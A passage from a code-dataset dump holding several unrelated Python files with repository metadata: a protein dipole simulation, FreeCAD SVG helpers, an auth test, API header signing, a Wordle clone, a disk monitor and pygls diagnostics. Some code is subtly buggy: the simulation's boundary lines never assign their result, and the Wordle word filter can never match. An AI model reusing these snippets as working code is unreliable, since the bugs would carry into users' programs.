#required summation of dipole forces along x direction for force on ith protein\r\n l = len(x)\r\n d = 0\r\n for j in range(l):\r\n if i != j:\r\n d = d + v_x(x[i], y[i], a[i], x[j], y[j], a[j])\r\n return d\r\n \r\ndef G_i(x, y, a, i): #required summation of dipole forces along y direction for force on ith protein\r\n l = len(x)\r\n d = 0\r\n for j in range(l):\r\n if i != j:\r\n d = d + v_y(x[i], y[i], a[i], x[j], y[j], a[j])\r\n return d\r\n\r\ndef H_i(x, y, a, i): #required summation of dipole forces along z direction for force on ith protein\r\n l = len(x)\r\n d = 0\r\n for j in range(l):\r\n if i != j:\r\n d = d + 0.5 * v_a(x[i], y[i], a[i], x[j], y[j], a[j])\r\n return d\r\n\r\ndef F(vec): #vector force on each dipole #F(vec,t) if using odeint \r\n vec = vec.reshape(-1, 3)\r\n dot = []\r\n l = len(vec)\r\n p = []\r\n q = []\r\n s = []\r\n for i in range(l):\r\n p.append(vec[i][0])\r\n q.append(vec[i][1])\r\n s.append(vec[i][2])\r\n \r\n for i in range(l):\r\n dot.append([F_i(p, q, s, i), G_i(p, q, s, i), H_i(p, q, s, i)])\r\n dot_arr = np.array(dot,dtype='float64')\r\n new_dot = dot_arr.reshape(-1)\r\n return new_dot\r\n \r\nx = []\r\ny = []\r\na = []\r\nn = int(input()) #take input of number of proteins from user\r\nvec0 = []\r\nfor i in range(n): #take input of initial x, y, alpha of each protein from user\r\n x.append(float(input()))\r\n y.append(float(input()))\r\n a.append(float(input()))\r\n\r\n#x= [-0.4, -0.8] #sample initial conditions for debugging\r\n#y = [0.3, -0.3]\r\n#a = [0.5, 0]\r\n\r\nfor i in range(n):\r\n vec0.append([x[i], y[i], a[i]])\r\n\r\nvec0 = np.array(vec0) #converts list to array for easier manipulation\r\nsol = vec0.reshape(-1) #represents x1, y1, a1, x2, y2, a2 and so on as a 1D vector\r\n\r\ndt = 0.4 #differential step time\r\ntt = 40 #total time of simulation\r\nLx = 2 #x side of rectangle (-Lx, Lx)\r\nLy = 2 #y side of rectangle (-Ly, Ly)\r\nnt = int(tt/dt) #number of step times\r\nt = np.linspace(0, tt, nt) #setting up t as a 1D vector to plot against, tt is total time, nt is number of data points on each plot\r\n\r\nfinal_sol = [sol] #final_sol stores the list of state of the system at each time as a matrix, with each row as state of the system at a particular time #initially, final_sol stores only the initial condition\r\nfor i in tqdm.trange(nt-1): #stepping up the initial condition 99 times #tqdm allows us to track the progress of the code when running it \r\n delta = F(sol) #time derivative of the state of the system\r\n dsol = delta*dt #differential change in state of the system\r\n new_sol = sol + dsol #stepped up state of the system\r\n for j in range(n): #incorporating boundary conditions of the rectangle\r\n if new_sol[3*j] > Lx/2:\r\n new_sol[3*j] -Lx/2\r\n if new_sol[3*j] < -Lx/2:\r\n new_sol[3*j] = Lx/2\r\n for j in range(n): #incorporating boundary conditions of the rectangle\r\n if new_sol[3*j + 1] > Ly/2:\r\n new_sol[3*j + 1] -Ly/2\r\n if new_sol[3*j + 1] < -Ly/2:\r\n new_sol[3*j + 1] = Ly/2\r\n final_sol = np.concatenate((final_sol, [new_sol])) #adds the stepped up state of the system as a row in final_sol\r\n sol = new_sol #updates the state of the system for the next iteration of the for loop\r\n\r\n\r\n\r\n\r\n\r\n#sol = odeint(F, new_vec0, t) #this line is used if we don't want the phase space to be confined to the rectangle\r\n\r\n#print(final_sol) #used for debugging\r\n\r\nfig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2, figsize = (12,10)) #setting up plots\r\n\r\n\r\nax1.plot(t, final_sol[:, 0])\r\nax1.plot(t, final_sol[:, 3])\r\nax1.title.set_text('x coordinates of proteins A and B')\r\nax1.set_xlabel('t')\r\nax1.set_ylabel('x')\r\nax1.legend(['protein A', 'protein B'], loc = 'lower right')\r\n\r\nax2.plot(t, final_sol[:, 1])\r\nax2.plot(t, final_sol[:, 4])\r\nax2.title.set_text('y coordinates of proteins A and B')\r\nax2.set_xlabel('t')\r\nax2.set_ylabel('y')\r\nax2.legend(['protein A', 'protein B'], loc = 'lower right')\r\n\r\nax3.plot(t, final_sol[:, 2])\r\nax3.plot(t, final_sol[:, 5])\r\nax3.title.set_text('Orientation of proteins A and B')\r\nax3.set_xlabel('t')\r\nax3.set_ylabel('alpha')\r\nax3.legend(['protein A', 'protein B'], loc = 'lower right')\r\n\r\nax4.plot(final_sol[:, 0], final_sol[:, 1])\r\nax4.plot(final_sol[:, 3], final_sol[:, 4])\r\nax4.title.set_text('trajectories of proteins A and B')\r\nax4.set_xlabel('x')\r\nax4.set_ylabel('y')\r\nax4.legend(['protein A', 'protein B'], loc = 'lower right')\r\nfig.tight_layout()\r\nplt.show()", "repo_name": "wermos/biophysics-project", "sub_path": "flat_rectangle_samyak.py", "file_name": "flat_rectangle_samyak.py", "file_ext": "py", "file_size_in_byte": 6252, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "math.pi", "line_number": 15, "usage_type": "name"}, {"api_name": "math.cos", "line_number": 15, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 15, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 21, "usage_type": "name"}, {"api_name": "math.cos", "line_number": 21, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 21, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 27, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 28, "usage_type": "name"}, {"api_name": "sympy.cos", "line_number": 28, "usage_type": "call"}, {"api_name": "sympy.sin", "line_number": 28, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 29, "usage_type": "name"}, {"api_name": "sympy.cos", "line_number": 29, "usage_type": "call"}, {"api_name": "sympy.sin", "line_number": 29, "usage_type": "call"}, {"api_name": "sympy.diff", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 100, "usage_type": "call"}, {"api_name": "tqdm.trange", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 159, "usage_type": "name"}]} {"seq_id": "9837700303", "text": "__title__ = \"SVG Functions\"\n__author__ = \"Suraj\"\n__url__ = \"https://www.freecadweb.org\"\n\n\nimport math\nfrom typing import Union\nfrom xml.etree import ElementTree\n\nimport FreeCAD\n\n\n# --------------------------------------------------------------------------\n# Generic functions\n# --------------------------------------------------------------------------\n\n\ndef getSVGRootElement() -> ElementTree.Element:\n \"\"\"Returns svg tag element with freecad xmlns namespace.\n\n Returns\n -------\n ElementTree.Element\n The svg tag element with freecad xmlns namespace.\n \"\"\"\n svg = ElementTree.Element(\"svg\")\n svg.set(\"version\", \"1.1\")\n svg.set(\"xmlns\", \"http://www.w3.org/2000/svg\")\n svg.set(\"xmlns:xlink\", \"http://www.w3.org/1999/xlink\")\n svg.set(\n \"xmlns:freecad\",\n \"http://www.freecadweb.org/wiki/index.php?title=Svg_Namespace\",\n )\n return svg\n\n\ndef getPointSVG(\n point: FreeCAD.Vector, radius: Union[float, str] = 1, fill: str = \"black\"\n) -> ElementTree.Element:\n \"\"\"Create and return point svg element.\n\n Parameters\n ----------\n point: \n The point to get its svg element.\n radius: float or str\n The radius of point in svg.\n fill: str\n The fill color for point in svg.\n\n Returns\n -------\n ElementTree.Element\n The point svg element.\n \"\"\"\n point_svg = ElementTree.Element(\n \"circle\",\n cx=str(round(point.x)),\n cy=str(round(point.y)),\n r=str(radius),\n fill=fill,\n )\n return point_svg\n\n\ndef isPointInSVG(point, svg):\n if (\n svg.find(\n './/circle[@cx=\"{}\"][@cy=\"{}\"]'.format(\n round(point.x), round(point.y)\n ),\n )\n is not None\n ):\n return True\n else:\n return False\n\n\ndef getLineSVG(p1, p2, stroke_width=0.35, color=\"black\"):\n line_svg = ElementTree.Element(\n \"line\",\n x1=str(round(p1.x)),\n y1=str(round(p1.y)),\n x2=str(round(p2.x)),\n y2=str(round(p2.y)),\n style=\"stroke:{};\".format(color),\n )\n line_svg.set(\"stroke-width\", str(stroke_width))\n line_svg.set(\"stroke\", color)\n return line_svg\n\n\ndef isLineInSVG(p1, p2, svg):\n if (\n svg.find(\n './/line[@x1=\"{}\"][@y1=\"{}\"][@x2=\"{}\"][@y2=\"{}\"]'.format(\n round(p1.x), round(p1.y), round(p2.x), round(p2.y)\n ),\n )\n is not None\n ):\n return True\n elif (\n svg.find(\n './/line[@x1=\"{}\"][@y1=\"{}\"][@x2=\"{}\"][@y2=\"{}\"]'.format(\n round(p2.x), round(p2.y), round(p1.x), round(p1.y)\n ),\n )\n is not None\n ):\n return True\n else:\n return False\n\n\ndef getLinePathElement(\n points_list,\n stroke_width=0.35,\n stroke_style=\"Continuous\",\n color=\"black\",\n start_symbol=\"None\",\n mid_points_symbol=\"None\",\n end_symbol=\"None\",\n):\n \"\"\"getLinePathElement(PointsList, [StrokeWidth, StrokeStyle, Color,\n StartSymbol, MidPointsSymbol, EndSymbol]):\n Returns line path joining given points.\n\n points_list is a list of points (x, y) defining line path.\n\n stroke_style can be \"Continuous\", \"Dash\", \"Dot\", \"DashDot\", \"DashDotDot\" OR\n stroke-dasharray value for line stroke.\n\n start_symbol/end_symbol can be \"FilledArrow\", \"Tick\", \"Dot\" or \"None\".\n\n mid_points_symbol can be \"Tick\", \"Dot\" or \"None\".\n \"\"\"\n line_svg = ElementTree.Element(\"g\")\n line_path_data = \"M{} {}\".format(points_list[0][0], points_list[0][1])\n for point in points_list[1:]:\n line_path_data += \" L{} {}\".format(point[0], point[1])\n line_path = ElementTree.Element(\n \"path\",\n d=line_path_data,\n style=\"stroke:{};stroke-width:{};stroke-linecap:round;\"\n \"fill:none;\".format(color, stroke_width),\n )\n line_svg.append(line_path)\n\n # Set stroke style\n if stroke_style == \"Continuous\":\n line_path.set(\"stroke-dasharray\", \"\")\n elif stroke_style == \"Dash\":\n line_path.set(\"stroke-dasharray\", \"4,2\")\n elif stroke_style == \"Dot\":\n line_path.set(\"stroke-dasharray\", \"1,2\")\n elif stroke_style == \"DashDot\":\n line_path.set(\"stroke-dasharray\", \"4,2, 1,2\")\n elif stroke_style == \"DashDotDot\":\n line_path.set(\"stroke-dasharray\", \"4,2, 1,2, 1,2\")\n else:\n line_path.set(\"stroke-dasharray\", str(stroke_style))\n\n # Set start symbol\n if start_symbol == \"FilledArrow\":\n start_symbol_svg = getFilledArrowSVG(stroke_width, color)\n elif start_symbol == \"Tick\":\n start_symbol_svg = getTickSymbolSVG(stroke_width, color)\n elif start_symbol == \"Dot\":\n start_symbol_svg = getPointSVG(\n point=FreeCAD.Vector(0, 0, 0), radius=2 * stroke_width, fill=color\n )\n else:\n start_symbol_svg = None\n if start_symbol_svg is not None:\n start_symbol_svg.set(\n \"transform\",\n \"translate({} {}) rotate({} 0 0)\".format(\n points_list[0][0],\n points_list[0][1],\n math.degrees(\n math.atan2(\n points_list[0][1] - points_list[1][1],\n points_list[0][0] - points_list[1][0],\n )\n ),\n ),\n )\n line_svg.append(start_symbol_svg)\n\n # Set mid points symbol\n if mid_points_symbol == \"Tick\":\n mid_point_symbol_svg = getTickSymbolSVG(stroke_width, color)\n elif mid_points_symbol == \"Dot\":\n mid_point_symbol_svg = getPointSVG(\n FreeCAD.Vector(0, 0, 0), radius=2 * stroke_width, fill=color\n )\n else:\n mid_point_symbol_svg = None\n if mid_point_symbol_svg is not None:\n import copy\n\n mid_points_symbol_svg = ElementTree.Element(\"g\", id=\"line_mid_points\")\n p_point = points_list[0]\n for mid_point in points_list[1:-1]:\n mid_point_svg = copy.deepcopy(mid_point_symbol_svg)\n mid_point_svg.set(\n \"transform\",\n \"translate({} {}) rotate({} 0 0)\".format(\n mid_point[0],\n mid_point[1],\n math.degrees(\n math.atan2(\n mid_point[1] - p_point[1], mid_point[0] - p_point[0]\n )\n ),\n ),\n )\n p_point = mid_point\n mid_points_symbol_svg.append(mid_point_svg)\n line_svg.append(mid_points_symbol_svg)\n\n # Set end symbol\n if end_symbol == \"FilledArrow\":\n end_symbol_svg = getFilledArrowSVG(stroke_width, color)\n elif end_symbol == \"Tick\":\n end_symbol_svg = getTickSymbolSVG(stroke_width, color)\n elif end_symbol == \"Dot\":\n end_symbol_svg = getPointSVG(\n point=FreeCAD.Vector(0, 0, 0), radius=2 * stroke_width, fill=color\n )\n else:\n end_symbol_svg = None\n if end_symbol_svg is not None:\n end_symbol_svg.set(\n \"transform\",\n \"translate({} {}) rotate({} 0 0)\".format(\n points_list[-1][0],\n points_list[-1][1],\n math.degrees(\n math.atan2(\n points_list[-1][1] - points_list[-2][1],\n points_list[-1][0] - points_list[-2][0],\n )\n ),\n ),\n )\n line_svg.append(end_symbol_svg)\n\n return line_svg\n\n\ndef getSVGTextElement(\n data,\n x_offset: Union[float, str],\n y_offset: Union[float, str],\n font_family: str,\n font_size: Union[float, str],\n text_anchor: str = \"start\",\n dominant_baseline: str = \"baseline\",\n preserve_space: bool = True,\n font_weight: Union[str, float] = \"\",\n):\n \"\"\"getSVGTextElement(Data, XOffset, YOffset, FontFamily, FontSize,\n [TextAnchor, DominantBaseline, PreserveSpace, FontWeight]):\n Returns text element with filled data and required placement.\n \"\"\"\n text = ElementTree.Element(\n \"text\",\n x=str(round(x_offset)),\n y=str(round(y_offset)),\n style=\"\",\n fill=\"#000000\",\n )\n text.set(\"font-family\", font_family)\n text.set(\"font-size\", str(font_size))\n text.set(\"text-anchor\", text_anchor)\n text.set(\"dominant-baseline\", dominant_baseline)\n if preserve_space:\n text.set(\"style\", \"white-space:pre;\")\n text.set(\"xml:space\", \"preserve\")\n if font_weight:\n text.set(\"font-weight\", str(font_weight))\n text.text = str(data)\n return text\n\n\ndef getSVGRectangle(x_offset, y_offset, width, height, element_id=None):\n \"\"\"getSVGRectangle(XOffset, YOffset, RectangleWidth, RectangleHeight,\n ElementId):\n Returns rectangle element with required placement and size of rectangle.\n \"\"\"\n rectangle_svg = ElementTree.Element(\n \"rect\",\n x=str(x_offset),\n y=str(y_offset),\n width=str(width),\n height=str(height),\n style=\"fill:none;stroke-width:0.35;stroke:#000000;\",\n )\n if element_id:\n rectangle_svg.set(\"id\", str(element_id))\n return rectangle_svg\n\n\ndef getSVGDataCell(\n data,\n x_offset,\n y_offset,\n width,\n height,\n font_family,\n font_size,\n element_id=\"\",\n font_weight=\"\",\n):\n \"\"\"getSVGDataCell(Data, XOffset, YOffset, CellWidth, CellHeight, FontFamily,\n FontSize, ElementId, FontWeight):\n Returns element with rectangular cell with filled data and required\n placement of cell.\n \"\"\"\n cell_svg = ElementTree.Element(\"g\")\n cell_svg.set(\"id\", str(element_id))\n cell_svg.append(getSVGRectangle(x_offset, y_offset, width, height))\n cell_svg.append(\n getSVGTextElement(\n data,\n x_offset + width / 2,\n y_offset + height / 2,\n font_family,\n font_size,\n text_anchor=\"middle\",\n dominant_baseline=\"central\",\n font_weight=font_weight,\n )\n )\n return cell_svg\n\n\ndef getFilledArrowSVG(stroke_width=0.35, fill=\"black\"):\n \"\"\"getFilledArrowSVG([StrokeWidth, FillColor]):\n Returns arrow svg element placed at origin.\n \"\"\"\n arrow_svg = ElementTree.Element(\n \"path\",\n d=\"M0,0 -8,-1.5 V1.5 L0,0\",\n style=\"stroke:{color};fill:{color};stroke-width:{stroke_width};\"\n \"stroke-linecap:round;stroke-linejoin:bevel;\".format(\n color=fill, stroke_width=str(stroke_width)\n ),\n )\n arrow_svg.set(\"class\", \"arrow\")\n return arrow_svg\n\n\ndef getTickSymbolSVG(stroke_width=0.35, color=\"black\"):\n \"\"\"getTickSymbolSVG([StrokeWidth, Color]):\n Returns Tick(/) svg element with centre at origin.\n \"\"\"\n tick_svg = ElementTree.Element(\n \"path\",\n d=\"M{} {} L{} {}\".format(-2, 2, 2, -2),\n style=\"stroke:{};stroke-width:{};stroke-linecap:round;\".format(\n color, stroke_width\n ),\n )\n return tick_svg\n\n\n# --------------------------------------------------------------------------\n# TechDraw SVG View functions\n# --------------------------------------------------------------------------\n\n\ndef getTechdrawViewScalingFactor(\n view_width,\n view_height,\n view_left_offset,\n view_top_offset,\n template_width,\n template_height,\n view_min_right_offset,\n view_min_bottom_offset,\n view_table_max_width,\n view_table_max_height,\n):\n \"\"\"getTechdrawViewScalingFactor(ViewWidth, ViewHeight, ViewLeftOffset,\n ViewTopOffset, TemplateWidth, TemplateHeight, ViewMinRightOffset,\n ViewMinBottomOffset, ViewTableMaxWidth, ViewTableMaxHeight):\n Returns scaling factor for Techdraw svg view symbol object to fit inside\n template.\n \"\"\"\n scale = False\n if (\n template_width - view_width - view_left_offset - view_min_right_offset\n ) < 0 or (\n template_height - view_height - view_top_offset - view_min_bottom_offset\n ) < 0:\n scale = True\n\n if view_table_max_width:\n if view_table_max_width < view_width:\n scale = True\n\n if view_table_max_height:\n if view_table_max_height < view_height:\n scale = True\n\n if not scale:\n return 1\n\n h_scaling_factor = (\n template_width - view_left_offset - view_min_right_offset\n ) / view_width\n if view_table_max_width:\n h_scaling_factor = min(\n h_scaling_factor, view_table_max_width / view_width\n )\n\n v_scaling_factor = (\n template_height - view_top_offset - view_min_bottom_offset\n ) / view_height\n if view_table_max_height:\n v_scaling_factor = min(\n v_scaling_factor, view_table_max_height / view_height\n )\n\n scaling_factor = min(h_scaling_factor, v_scaling_factor)\n return scaling_factor\n", "repo_name": "amrit3701/FreeCAD-Reinforcement", "sub_path": "SVGfunc.py", "file_name": "SVGfunc.py", "file_ext": "py", "file_size_in_byte": 12709, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "7", "api": [{"api_name": "xml.etree.ElementTree.Element", "line_number": 26, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 26, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 18, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 18, "usage_type": "name"}, {"api_name": "FreeCAD.Vector", "line_number": 38, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 38, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 56, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 56, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 39, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 39, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 81, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 81, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 139, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 139, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 143, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 143, "usage_type": "name"}, {"api_name": "FreeCAD.Vector", "line_number": 172, "usage_type": "call"}, {"api_name": "math.degrees", "line_number": 182, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 183, "usage_type": "call"}, {"api_name": "FreeCAD.Vector", "line_number": 197, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 204, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 204, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 207, "usage_type": "call"}, {"api_name": "math.degrees", "line_number": 213, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 214, "usage_type": "call"}, {"api_name": "FreeCAD.Vector", "line_number": 231, "usage_type": "call"}, {"api_name": "math.degrees", "line_number": 241, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 242, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 256, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 257, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 259, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 263, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 269, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 269, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 294, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 294, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 323, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 323, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 345, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 345, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 361, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 361, "usage_type": "name"}]} {"seq_id": "2094355066", "text": "import pytest\n\nfrom app.internal.services.auth import AuthService\nfrom app.pkg import models\n\n\nasync def test_correct(\n auth_postgres_service: AuthService,\n first_user: models.User,\n insert_first_refresh_token: models.JWTRefreshToken,\n create_model,\n):\n query = await create_model(\n models.ReadJWTRefreshTokenQueryByFingerprint,\n user_id=insert_first_refresh_token.user_id,\n fingerprint=insert_first_refresh_token.fingerprint,\n )\n result = await auth_postgres_service.check_user_exist_refresh_token(query=query)\n assert result == insert_first_refresh_token\n\n\n@pytest.mark.repeat(15)\nasync def test_not_exist_token(auth_postgres_service: AuthService, create_model):\n query = await create_model(\n models.ReadJWTRefreshTokenQueryByFingerprint,\n )\n result = await auth_postgres_service.check_user_exist_refresh_token(query=query)\n\n assert not result\n", "repo_name": "AlanLatte/Python", "sub_path": "tests/app/internal/services/auth/test_user_exist_refresh_token.py", "file_name": "test_user_exist_refresh_token.py", "file_ext": "py", "file_size_in_byte": 910, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "7", "api": [{"api_name": "app.internal.services.auth.AuthService", "line_number": 8, "usage_type": "name"}, {"api_name": "app.pkg.models.User", "line_number": 9, "usage_type": "attribute"}, {"api_name": "app.pkg.models", "line_number": 9, "usage_type": "name"}, {"api_name": "app.pkg.models.JWTRefreshToken", "line_number": 10, "usage_type": "attribute"}, {"api_name": "app.pkg.models", "line_number": 10, "usage_type": "name"}, {"api_name": "app.pkg.models.ReadJWTRefreshTokenQueryByFingerprint", "line_number": 14, "usage_type": "attribute"}, {"api_name": "app.pkg.models", "line_number": 14, "usage_type": "name"}, {"api_name": "app.internal.services.auth.AuthService", "line_number": 23, "usage_type": "name"}, {"api_name": "app.pkg.models.ReadJWTRefreshTokenQueryByFingerprint", "line_number": 25, "usage_type": "attribute"}, {"api_name": "app.pkg.models", "line_number": 25, "usage_type": "name"}, {"api_name": "pytest.mark.repeat", "line_number": 22, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 22, "usage_type": "attribute"}]} {"seq_id": "34645590520", "text": "import auth\nfrom config import settings\n\n\ndef get_uri_from_endpoint(endpoint: str) -> str:\n return endpoint.removeprefix(settings.base_url)\n\n\ndef build_post_headers(uri: str, form_data: dict[str, str | int]) -> dict[str, str]:\n headers = {\n 'API-Key': settings.auth.api_key,\n 'API-Sign': auth.generate_api_key_signature(\n uri=uri,\n data=form_data,\n secret=settings.auth.api_secret,\n ),\n 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',\n }\n return headers\n", "repo_name": "fisheye36/bdd", "sub_path": "bdd/helpers.py", "file_name": "helpers.py", "file_ext": "py", "file_size_in_byte": 547, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "config.settings.base_url", "line_number": 6, "usage_type": "attribute"}, {"api_name": "config.settings", "line_number": 6, "usage_type": "name"}, {"api_name": "config.settings.auth", "line_number": 11, "usage_type": "attribute"}, {"api_name": "config.settings", "line_number": 11, "usage_type": "name"}, {"api_name": "auth.generate_api_key_signature", "line_number": 12, "usage_type": "call"}, {"api_name": "config.settings.auth", "line_number": 15, "usage_type": "attribute"}, {"api_name": "config.settings", "line_number": 15, "usage_type": "name"}]} {"seq_id": "29844978946", "text": "import pathlib\nimport random\nfrom string import ascii_letters\nfrom rich.console import Console\n\nWORD_LIMIT = 5\n\ndef get_random_word(word_list):\n \"\"\"Get a random five-letter word from a list of strings.\n\n ## Example:\n\n >>> get_random_word([\"snake\", \"worm\", \"it'll\"])\n 'SNAKE'\n \"\"\"\n words = [\n word.upper()\n for word in word_list\n if (word) == WORD_LIMIT and all(letter in ascii_letters for letter in word)\n ]\n return random.choice(words)\n\ndef show_guess(guess, word):\n \"\"\"Show the user's guess on the terminal and classify all letters.\n\n ## Example:\n\n >>> show_guess(\"CRANE\", \"SNAKE\")\n Correct letters: A, E\n Misplaced letters: N\n Wrong letters: C, R\n \"\"\"\n correct_letters = {\n letter for letter, correct in zip(guess, word) if letter == correct\n }\n misplaced_letters = set(guess) & set(word) - correct_letters\n wrong_letters = set(guess) - set(word)\n\n print(\"Correct letters:\", \", \".join(sorted(correct_letters)))\n print(\"Misplaced letters:\", \", \".join(sorted(misplaced_letters)))\n print(\"Wrong letters:\", \", \".join(sorted(wrong_letters)))\n\n\ndef game_over(word):\n print(f\"The word was {word}\")\n\n\ndef refresh_page(headline):\n console.clear()\n console.rule(f\"[bold blue]:leafy_green: {headline} :leafy_green:[/]\\n\")\n\n\ndef main():\n\n # Pre-process\n words_path = pathlib.Path(__file__).parent / \"wordlist.txt\"\n secret_word = get_random_word(words_path.read_text(encoding=\"utf-8\").split(\"\\n\"))\n\n # Process (main loop)\n for guess_num in range(1, 7):\n guess = input(f\"\\nGuess {guess_num}: \").upper()\n\n show_guess(guess, secret_word)\n if guess == secret_word:\n break\n \n # Post-process\n else:\n game_over(...)\n\n\nif __name__ == \"__main__\":\n main()", "repo_name": "luna215/wordle-python", "sub_path": "wyrdle.py", "file_name": "wyrdle.py", "file_ext": "py", "file_size_in_byte": 1804, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "string.ascii_letters", "line_number": 19, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 21, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 56, "usage_type": "call"}]} {"seq_id": "22201580575", "text": "#!/usr/bin/env python3\n\n__author__ = \"Alexis Jeandet\"\n__copyright__ = \"Copyright 2017, Laboratory of Plasma Physics\"\n__credits__ = []\n__license__ = \"GPLv2\"\n__version__ = \"1.0.0\"\n__maintainer__ = \"Alexis Jeandet\"\n__email__ = \"alexis.jeandet@member.fsf.org\"\n__status__ = \"Development\"\n\n\n__MOD_NAME__=\"Disk monitor(disk)\"\n\n__MOD_DESC__ = \"monitors disk usage\"\n\n__MOD_SAMPLE_CONFIG__ = \"\"\"\n Sample config:\n ------------------------------------------------------------------\n [my-disk-monitor]\n type = monitor:disk\n path = /some_path_to_monitor\n max_history = 10\n\"\"\"\n\n\nimport psutil\nfrom common import utils\n\n\ndef monitor(path, simulate=False, *args, **kwargs):\n info = psutil.disk_usage(path)\n return utils.MonitorOutput(path, info.used, info.free, info.total, **kwargs)\n", "repo_name": "jeandet/lpp_backups", "sub_path": "monitor/disk.py", "file_name": "disk.py", "file_ext": "py", "file_size_in_byte": 791, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "psutil.disk_usage", "line_number": 32, "usage_type": "call"}, {"api_name": "common.utils.MonitorOutput", "line_number": 33, "usage_type": "call"}, {"api_name": "common.utils", "line_number": 33, "usage_type": "name"}]} {"seq_id": "33981835653", "text": "from pygls.types import Diagnostic, Position, Range\nfrom textx_ls_core.features.validate import validate\n\n\ndef _create_diagnostics(lang_temp, doc):\n \"\"\"Creates diagnostics from TextXError objects.\"\"\"\n return [\n Diagnostic(_get_diagnostic_range(err), _get_diagnostic_message(err))\n for err in validate(lang_temp, doc.source)\n ]\n\n\ndef _get_diagnostic_message(err):\n msg = str(err)\n try:\n # Try to parse textX error message\n msg_decoded = err.args[0].decode(\"utf-8\")\n msg = msg_decoded.split(' at')[0]\n except (AttributeError, LookupError):\n pass\n return msg\n\n\ndef _get_diagnostic_range(err):\n # Mark a whole line ( 500 for now, should be len(doc.lines[line]) )\n line = 0 if err.line - 1 < 0 else err.line - 1\n return Range(Position(line, 0), Position(line, 500))\n\n\ndef send_diagnostics(ls, lang_temp, doc):\n \"\"\"Sends diagnostics to the client.\"\"\"\n ls.publish_diagnostics(doc.uri, _create_diagnostics(lang_temp, doc))\n", "repo_name": "gridl/textX-LS", "sub_path": "textX-LS/server/textx_ls_server/features/diagnostics.py", "file_name": "diagnostics.py", "file_ext": "py", "file_size_in_byte": 993, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygls.types.Diagnostic", "line_number": 8, "usage_type": "call"}, {"api_name": "textx_ls_core.features.validate.validate", "line_number": 9, "usage_type": "call"}, {"api_name": "pygls.types.Range", "line_number": 27, "usage_type": "call"}, {"api_name": "pygls.types.Position", "line_number": 27, "usage_type": "call"}]} {"seq_id": "22153233203", "text": "\nfrom math import pi, sin, cos\nfrom direct.showbase.ShowBase import ShowBase\nfrom direct.task import Task\n\n\nclass MyApp(ShowBase):\n\n def __init__(self):\n ShowBase.__init__(self)\n\n # Load the environment model.\n self.scene = self.loader.loadModel(\"models/environment\")\n\n # Reparent the model to render\n self.scene.reparentTo(self.render)\n\n # Apply scale and position transforms on the model\n 